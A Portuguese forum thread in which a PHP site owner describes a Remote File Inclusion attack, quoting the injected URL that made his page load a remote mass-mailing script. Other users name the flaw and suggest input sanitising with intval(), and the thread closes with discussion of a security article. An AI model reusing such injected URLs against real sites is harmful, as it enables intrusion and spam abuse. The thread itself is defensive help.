Vitima de ataque

[ricardocoimbra]

Olá boa noite a todos, acontece que fui vitima de um ataque de emails em massa.

Acontece que no meu site tenho isto:

http://www.meusite.com?produto=produtos&id=15

Isto é um exemplo:

O que me fizeram foi isto:

http://www.meusite.com?produto=produtos&id=http://h1.ripway.com/cmdpraenviar/b.txt?

Tiraram o id e puseram aquele url.

Quais as medidas que eu podia ter tido em atenção para isso não acontecer. O que podia ter feito neste caso?

Eu sei que foi erro de programação, queria que me ajudassem a arranjar formas de prevenir tais ataques!

[pedrotuga]

Sinceramente não percebi nada.

Podes explicar melhor?

[ricardocoimbra]

Bom é assim no meu site no url colocaram isto:

http://h1.ripway.com/cmdpraenviar/b.txt?'>Http://www.meusite.com/index.php?produto=http://h1.ripway.com/cmdpraenviar/b.txt?

Eu a frente do produto custumo ter o id mas alguem correu aquele endereço:

http://h1.ripway.com/cmdpraenviar/b.txt? e aquilo é um script, eu penso que aquele script é para enviar emails em massa, acontece que o meu servidor só de logs atingiu o espaço em disco.

Alguem sabe me dizer o que faz aquele  script concretamente?, qual a maneira de evitar aquilo de correr numa pagina? Não sei se agora me fiz entender.

Alguma forma de bloquear aquilo no servidor, ou mesmo através da minha pagina tornar aquilo impossivel de correr!

Sinceramente não percebi nada.

Podes explicar melhor?

[djthyrax]

O que fizeram foi explorar uma falha RFI no teu script. Lê o artigo Vulnerabilidades em Aplicações Web da edição 11 da Revista PROGRAMAR que eu escrevi. 😉

[ricardocoimbra]

Grande david muito obrigado, a materia tá exelente. vou agora rever falha RFI. 🙂

O que fizeram foi explorar uma falha RFI no teu script. Lê o artigo Vulnerabilidades em Aplicações Web da edição 11 da Revista PROGRAMAR que eu escrevi. 😉

[pedrotuga]

Todos e quaisquer dados fornecidos pelo utilizador devem ser cuidadosamente filtrados.

Aqui parece-me que pegaste num dado recolhido do url e o usaste à bruta... estou certo?

Tudo o que tens a fazer é limpar essa variável por exemplo assim

$id=intval($_GET[id]);

[ricardocoimbra]

Pedro digamos que sim, por vezes queremos fazer as coisas a correr e as vezes não é só isso é tambem o desconhecimento! Obrigado

Todos e quaisquer dados fornecidos pelo utilizador devem ser cuidadosamente filtrados.

Aqui parece-me que pegaste num dado recolhido do url e o usaste à bruta... estou certo?

Tudo o que tens a fazer é limpar essa variável por exemplo assim

$id=intval($_GET[id]);

[djthyrax]

Ficaste esclarecido com o artigo? É que gostava de ouvir algum feedback... 😁

[Guest id194]

Ficaste esclarecido com o artigo? É que gostava de ouvir algum feedback... 😁

Não sei porquê mas não recebi mail sobre esta edição e passou-me completamente ao lado (só a vi hoje), falharam no mail a notificar a nova edição? Adiante... Tive a ler o teu artigo e apesar de já programar PHP aos anos ( já la vai uns 7 ou 8 ), segurança nunca foi o meu forte e foi algo que nunca me preocupei a sério, apesar de fazer sempre testes intensivos ao que programo a nível de segurança. Mas nunca dei a atenção necessária e a esse nível (segurança) sou um leio, grande parte dos termos usados no artigo, desconhecia por completo. Não li tudo, devo ter lido prai metade, mas deixou-me a pensar se o meu script de fotolog está suficientemente seguro ou não e até o meu site que já o programei há uns anos quando ainda percebia pouco de PHP.

Anyway, achei o artigo interessante e bom, quando voltar ao PHP (coisa que não será para breve) tenho de ver se o leio com mais calma e perder mais tempo com a segurança, mas, achou que falhaste nalguns aspectos. Por exemplo, no geral, não explicas exactamente porquê que acontece assim, porquê que tal falha de segurança existe. Para programadores minimamente experientes, apesar de não terem noção de certas inseguranças, podem olhar po código e depois de ler sobre o exploit e ver porquê que acontece, mas quem não sabe, fica sem perceber exactamente porquê que existe esse exploit e como é que ele funciona. Depois, falhaste em dar exemplos de como resolver, aqui já não foi em todo o artigo, mas por exemplo, no primeiro ponto (falhas xss), falhaste em sugerir como resolver o problema, apenas apresentaste o erro (não explicaste como e porquê que acontecia) e não apresentaste solução.

No geral, acho o artigo muito bom, mas em artigos de segurança, acho que devias aprofundar mais e explicar exactamente porquê que acontece, porquê que funciona assim e não assado e no fim, apresentar uma possível solução para segurar o código.

My 0.02€.

[djthyrax]

Obrigado pelo testamento Nazgulled, concordo contigo em relação ao não ter dado possíveis soluções (acho que apenas dei código mesmo nas falhas de RFI), e nunca me lembrei disso (também o tempo que tive para escrever aquilo não foi muito).

Anyway, eu também não sou nenhum expert, apenas transmiti o que sei (e com algumas falhas eheh). 😉

[Guest id194]

Seres um expert ou não, não tem nada a ver com redacção de artigos e nem toda a gente tem queda para a escrita e/ou se lembra de tudo mas como dizes, tiveste pouco tempo, se calhar com mais tempo terias-te lembrado disso ou quando postasses para revisão o pessoal certamente dava ideias para  melhorar o artigo.

Mas se há coisa que eu sei muito pouco mesmo, é segurança, e não me admira nada que o nzFotolog tenha algumas falhas importantíssimas, mas também não me estou a ver a pegar nele nos próximos tempos.

[djthyrax]

Mas se há coisa que eu sei muito pouco mesmo, é segurança, e não me admira nada que o nzFotolog tenha algumas falhas importantíssimas, mas também não me estou a ver a pegar nele nos próximos tempos.

Nós aprendemos é com os erros. 😉